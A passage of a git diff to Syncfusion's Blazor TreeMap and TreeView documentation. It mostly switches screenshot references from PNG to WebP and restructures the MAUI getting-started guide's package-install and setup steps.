-![Customizing Header Alignment in Blazor TreeMap](images/Levels/blazor-treemap-header-alignment.png)
\ No newline at end of file
+![Customizing Header Alignment in Blazor TreeMap](images/Levels/blazor-treemap-header-alignment.webp)
\ No newline at end of file
diff --git a/blazor/treemap/print-and-export.md b/blazor/treemap/print-and-export.md
index 1d6c9f2072..dbd2d305b2 100644
--- a/blazor/treemap/print-and-export.md
+++ b/blazor/treemap/print-and-export.md
@@ -41,7 +41,7 @@ The `PrintAsync` method can be used to print a rendered TreeMap directly from th
 }
 ```
 
-![Printing in Blazor TreeMap](./images/Print/blazor-treemap-printing.png)
+![Printing in Blazor TreeMap](./images/Print/blazor-treemap-printing.webp)
 
 ## Export
 
diff --git a/blazor/treemap/selection-and-highlight.md b/blazor/treemap/selection-and-highlight.md
index 9d3fc4122b..b8adc03868 100644
--- a/blazor/treemap/selection-and-highlight.md
+++ b/blazor/treemap/selection-and-highlight.md
@@ -57,7 +57,7 @@ The [Fill](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeM
 }
 ```
 
-![Blazor TreeMap Item with Selection](images/HighlightandSelection/blazor-treemap-selection.png)
+![Blazor TreeMap Item with Selection](images/HighlightandSelection/blazor-treemap-selection.webp)
 
 ## Highlight
 
@@ -88,4 +88,4 @@ The [Fill](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeMap.TreeM
 
 N> Refer to the [code block](#selection) to know about the property value of **Employees**.
 
-![Highlighting Blazor TreeMap Item](images/HighlightandSelection/blazor-treemap-highlight-item.png)
+![Highlighting Blazor TreeMap Item](images/HighlightandSelection/blazor-treemap-highlight-item.webp)
diff --git a/blazor/treemap/style-appearance.md b/blazor/treemap/style-appearance.md
index e860f31414..49c43be427 100644
--- a/blazor/treemap/style-appearance.md
+++ b/blazor/treemap/style-appearance.md
@@ -62,7 +62,7 @@ You can apply global styles such as borders, padding, and background color to th
 }
 ```
 
-![Blazor TreeMap with Border Customization](images/style/blazor-treemap-border-color.png)
+![Blazor TreeMap with Border Customization](images/style/blazor-treemap-border-color.webp)
 
 ## Customize TreeMap Item Rectangles (RectPath)
 
@@ -79,7 +79,7 @@ Each TreeMap item rectangle is rendered as an SVG path element. These elements c
 }
 ```
 
-![Blazor TreeMap with Item Rectangle Customization](images/style/blazor-treemap-item-rect-customization.png)
+![Blazor TreeMap with Item Rectangle Customization](images/style/blazor-treemap-item-rect-customization.webp)
 
 ### Level-Based Rectangle Styling
 
@@ -158,7 +158,7 @@ TreeMap text elements contain Text in their IDs and can be styled independently.
 }
 ```
 
-![Blazor TreeMap with Item Rectangle Customization](images/style/blazor-treemap-item-text-customization.png)
+![Blazor TreeMap with Item Rectangle Customization](images/style/blazor-treemap-item-text-customization.webp)
 
 ### Level-Based Text Styling
 
@@ -218,7 +218,7 @@ TreeMap text elements contain Text in their IDs and can be styled independently.
 }
 ```
 
-![Blazor TreeMap with Item Text Customization](images/style/blazor-treemap-item-text-advance-customization.png)
+![Blazor TreeMap with Item Text Customization](images/style/blazor-treemap-item-text-advance-customization.webp)
 
 ## Hover and Interactive States
 
@@ -239,6 +239,6 @@ You can improve interactivity by styling hover states:
 }
 ```
 
-![Blazor TreeMap with Item Text Customization](images/style/blazor-treemap-item-hover-customization.png)
+![Blazor TreeMap with Item Text Customization](images/style/blazor-treemap-item-hover-customization.webp)
 
 N> SVG presentation attributes such as fill, stroke, and font-size may require **!important** when overridden by inline SVG styles.
diff --git a/blazor/treemap/tooltip.md b/blazor/treemap/tooltip.md
index 59548dc061..f268a2fbc1 100644
--- a/blazor/treemap/tooltip.md
+++ b/blazor/treemap/tooltip.md
@@ -41,7 +41,7 @@ The tooltip is not visible by default, to make it visible, set the [Visible](htt
 }
 ```
 
-![Blazor TreeMap with Tooltip](images/Tooltip/blazor-treemap-tooltip.png)
+![Blazor TreeMap with Tooltip](images/Tooltip/blazor-treemap-tooltip.webp)
 
 ## Customization
 
@@ -66,7 +66,7 @@ Customize the TreeMap tooltip using the following properties.
 
 N> Refer to the [code block](#default-tooltip) to know about the property value of **Fruits**.
 
-![Blazor TreeMap with Custom Tooltip](images/Tooltip/blazor-treemap-custom-tooltip.png)
+![Blazor TreeMap with Custom Tooltip](images/Tooltip/blazor-treemap-custom-tooltip.webp)
 
 ## Formatting tooltip content
 
@@ -83,7 +83,7 @@ The tooltip content is displayed by default based on the [WeightValuePath](https
 
 N> Refer to the [code block](#default-tooltip) to know about the property value of **Fruits**.
 
-![Changing Tooltip Format in Blazor TreeMap](images/Tooltip/blazor-treemap-tooltip-format.png)
+![Changing Tooltip Format in Blazor TreeMap](images/Tooltip/blazor-treemap-tooltip-format.webp)
 
 ## Tooltip template
 
@@ -112,4 +112,4 @@ Tooltip can be rendered as a custom component using the [TooltipTemplate](https:
 
 N> Refer to the [code block](#default-tooltip) to know about the property value of **Fruits**.
 
-![Blazor TreeMap with Tooltip Template](images/Tooltip/blazor-treemap-tooltip-template.png)
\ No newline at end of file
+![Blazor TreeMap with Tooltip Template](images/Tooltip/blazor-treemap-tooltip-template.webp)
\ No newline at end of file
diff --git a/blazor/treeview/check-box.md b/blazor/treeview/check-box.md
index d670bbc655..edfcad0b89 100644
--- a/blazor/treeview/check-box.md
+++ b/blazor/treeview/check-box.md
@@ -101,7 +101,7 @@ For independent checked states, allowing child nodes to be checked or unchecked
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNhSitCBUvmzMcKy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with CheckBox](./images/blazor-treeview-checkbox.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNhSitCBUvmzMcKy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with CheckBox](./images/blazor-treeview-checkbox.webp)" %}
 
 ## Check Nodes through Data Binding
 
@@ -275,7 +275,7 @@ The Blazor TreeView component enables checking specific nodes upon initial rende
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXBSMZsVqvvPrMXI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView](./images/checkednodes.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXBSMZsVqvvPrMXI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView](./images/checkednodes.webp)" %}
 
 ## Check and Uncheck All Nodes
 
@@ -380,7 +380,7 @@ The example demonstrates the usage of these methods within the context of a butt
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtrICXiVgusUIOKg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView](./images/check-uncheck.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtrICXiVgusUIOKg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView](./images/check-uncheck.webp)" %}
 
 ## Get Checked Nodes
 
@@ -535,7 +535,7 @@ The Blazor TreeView component provides the capability to pre-select specific nod
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXVyCtMrKkBdTNdz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Get checked nodes](./images/blazor-treeview-get-checked-nodes.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXVyCtMrKkBdTNdz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Get checked nodes](./images/blazor-treeview-get-checked-nodes.webp)" %}
 
 ## Single Selection with CheckBox
 
@@ -740,7 +740,7 @@ The Blazor TreeView component can render checkboxes before each node when [`Show
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htLosZWBgaTqlQtr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hide CheckBox for parent nodes](./images/blazor-treeview-remove-parent-checkbox.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htLosZWBgaTqlQtr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hide CheckBox for parent nodes](./images/blazor-treeview-remove-parent-checkbox.webp)" %}
 
 ## Cancel the Check Action
 
diff --git a/blazor/treeview/data-binding.md b/blazor/treeview/data-binding.md
index ff84ea6e18..45e274ee5d 100644
--- a/blazor/treeview/data-binding.md
+++ b/blazor/treeview/data-binding.md
@@ -120,7 +120,7 @@ In the following example, **Id**, **FolderName**, and **SubFolders** columns fro
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXBSMtsVUEylUdFX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Hierarchical Data](./images/blazor-treeview-hierarchical-data.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXBSMtsVUEylUdFX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Hierarchical Data](./images/blazor-treeview-hierarchical-data.webp)" %}
 
 N> In the Blazor TreeView component, observable collection support is provided only for the [`DataSource`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.TreeViewFieldOptions-1.html#Syncfusion_Blazor_Navigations_TreeViewFieldOptions_1_DataSource) property, not for the [`Child`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.TreeViewFieldOptions-1.html#Syncfusion_Blazor_Navigations_TreeViewFieldOptions_1_Child) property. The [`Child`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.TreeViewFieldOptions-1.html#Syncfusion_Blazor_Navigations_TreeViewFieldOptions_1_Child) property supports only the `List<T>` data type.
 
@@ -217,7 +217,7 @@ To render the root level nodes, specify the ParentID as null or no need to speci
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDroWNWBAucDwMeI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Self-Referential Data](./images/blazor-treeview-hierarchical-data.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDroWNWBAucDwMeI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Self-Referential Data](./images/blazor-treeview-hierarchical-data.webp)" %}
 
 ### ExpandoObject Binding 
 
@@ -437,7 +437,7 @@ The **OrderID**, **EmployeeID**, and **ShipName** columns from orders table are
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjByWXirTXWroCXq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Remote Data](./images/blazor-treeview-remote-data.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjByWXirTXWroCXq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Remote Data](./images/blazor-treeview-remote-data.webp)" %}
 
 ### Web API Adaptor
 
diff --git a/blazor/treeview/drag-and-drop.md b/blazor/treeview/drag-and-drop.md
index 11e8c764a1..b7c776f46a 100644
--- a/blazor/treeview/drag-and-drop.md
+++ b/blazor/treeview/drag-and-drop.md
@@ -113,7 +113,7 @@ N> In the [**OnNodeDragged**](https://help.syncfusion.com/cr/blazor/Syncfusion.B
 
  ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNhyMZsBJDLnhwpw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and Drop Node in Blazor TreeView](./images/blazor-treeview-drag-drop-node.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNhyMZsBJDLnhwpw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and Drop Node in Blazor TreeView](./images/blazor-treeview-drag-drop-node.webp)" %}
 
 ## Multiple-Node Drag and Drop
 
@@ -206,7 +206,7 @@ To enable dragging and dropping of multiple nodes, enable both the [`AllowMultiS
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNhSsXsVfZUjOzRj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and Drop Multiple Node in Blazor TreeView](./images/blazor-treeview-drag-drop-multi-node.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNhSsXsVfZUjOzRj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and Drop Multiple Node in Blazor TreeView](./images/blazor-treeview-drag-drop-multi-node.webp)" %}
 
 
 ## Drag and Drop within a TreeView
@@ -273,7 +273,7 @@ The default value of `AllowDragAndDrop` property is false.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLyitsLTjUePIsG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and drop within a TreeView](./images/blazor-treeview-drag-and-drop-within-treeview.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLyitsLTjUePIsG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and drop within a TreeView](./images/blazor-treeview-drag-and-drop-within-treeview.webp)" %}
 
 ## Drag and Drop Between TreeViews
 
@@ -487,7 +487,7 @@ The Blazor TreeView component includes built-in drag and drop support, allowing
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZryiDsBftpsSWPi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and drop between TreeViews](./images/blazor-treeview-drag-and-drop-between-treeviews.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZryiDsBftpsSWPi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Drag and drop between TreeViews](./images/blazor-treeview-drag-and-drop-between-treeviews.webp)" %}
 
 ## Restrict Drag and Drop for Individual node
 
diff --git a/blazor/treeview/expand-collaspe-actions.md b/blazor/treeview/expand-collaspe-actions.md
index ff94d33100..9143f04f14 100644
--- a/blazor/treeview/expand-collaspe-actions.md
+++ b/blazor/treeview/expand-collaspe-actions.md
@@ -95,7 +95,7 @@ Specific nodes can be programmatically expanded upon TreeView initialization by
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjhSWNCrTNHHeZFa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Expand nodes through data binding](./images/blazor-treeview-expand-nodes-through-data-binding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjhSWNCrTNHHeZFa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Expand nodes through data binding](./images/blazor-treeview-expand-nodes-through-data-binding.webp)" %}
 
 ## Expand Nodes through API
 
@@ -334,7 +334,7 @@ The Blazor TreeView component provides the `ExpandedNodes` property for two-way
         }
 </style>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDLSMDCVfjcEkxgQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Get expanded nodes](./images/blazor-treeview-get-expanded-nodes.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDLSMDCVfjcEkxgQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Get expanded nodes](./images/blazor-treeview-get-expanded-nodes.webp)" %}
 
 ## Expand or Collapse a Node Programmatically
 
diff --git a/blazor/treeview/getting-started-webapp.md b/blazor/treeview/getting-started-webapp.md
index fb3a7f367e..7ac01419b3 100644
--- a/blazor/treeview/getting-started-webapp.md
+++ b/blazor/treeview/getting-started-webapp.md
@@ -227,7 +227,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpNCKjJwHmLAFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView Component](./images/blazor-treeview.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpNCKjJwHmLAFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView Component](./images/blazor-treeview.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeView).
 
diff --git a/blazor/treeview/getting-started-with-maui-app.md b/blazor/treeview/getting-started-with-maui-app.md
index ee6d2dc46a..194b591dde 100644
--- a/blazor/treeview/getting-started-with-maui-app.md
+++ b/blazor/treeview/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor TreeView Component
 
-This section explains how to integrate the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView component into a Blazor MAUI application using both Visual Studio and Visual Studio Code.
+This section explains how to integrate the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView](https://www.syncfusion.com/blazor-components/blazor-treeview) component in a Blazor MAUI App using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 {% tabcontents %}
 
@@ -21,22 +21,7 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio
 
-A Blazor MAUI App is created using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the app
-
-To add **Blazor TreeView**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
 {% endtabcontent %}
 
@@ -48,33 +33,43 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio Code
 
-A Blazor MAUI App is created using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Blazor Navigations and Themes NuGet in the App
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-To add **Blazor TreeView**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Navigations -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
-
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespace.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
+## Add import namespaces
+
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -85,66 +80,50 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/MauiProgram.cs** file.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
-## Add Stylesheet and Script Resources
+## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor TreeView Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Navigations/scripts/sf-treeview.min.js" type="text/javascript"></script> -->
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in a Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in a Blazor application.
 
-## Add Blazor TreeView Component
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
+
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Navigations
 
@@ -204,13 +183,13 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView compone
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+### How to run the sample on Windows
 
 Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
 
-![Blazor TreeView Component](./images/blazor-treeview-maui-app.png)
+![Blazor TreeView Component](./images/blazor-treeview-maui-app.webp)
 
-### How to Run the Sample on Android
+### How to run the sample on Android
 
 To run the Blazor DataGrid in a Blazor Android MAUI application using the Android emulator, follow these steps:
 
@@ -218,9 +197,9 @@ Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/devi
 
 N> If any errors are encountered while using the Android Emulator, refer to the following link for troubleshooting guidance: [Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
 
-![Blazor TreeView Component](./images/blazor-treeview.png)
+![Blazor TreeView Component](./images/blazor-treeview.webp)
 
-## See Also
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
diff --git a/blazor/treeview/getting-started-with-server-app.md b/blazor/treeview/getting-started-with-server-app.md
index 672c672dcb..a49d28c85b 100644
--- a/blazor/treeview/getting-started-with-server-app.md
+++ b/blazor/treeview/getting-started-with-server-app.md
@@ -221,6 +221,6 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView component in your default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpNCKjJwHmLAFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView Component](./images/blazor-treeview.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpNCKjJwHmLAFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView Component](./images/blazor-treeview.webp)" %}
 
 N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeView).
\ No newline at end of file
diff --git a/blazor/treeview/getting-started.md b/blazor/treeview/getting-started.md
index 5d207bc960..f94e0cd51b 100644
--- a/blazor/treeview/getting-started.md
+++ b/blazor/treeview/getting-started.md
@@ -11,9 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor TreeView Component in Blazor WASM App
 
-This section explains how to integrate the Syncfusion [Blazor TreeView](https://www.syncfusion.com/blazor-components/blazor-treeview) component into a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
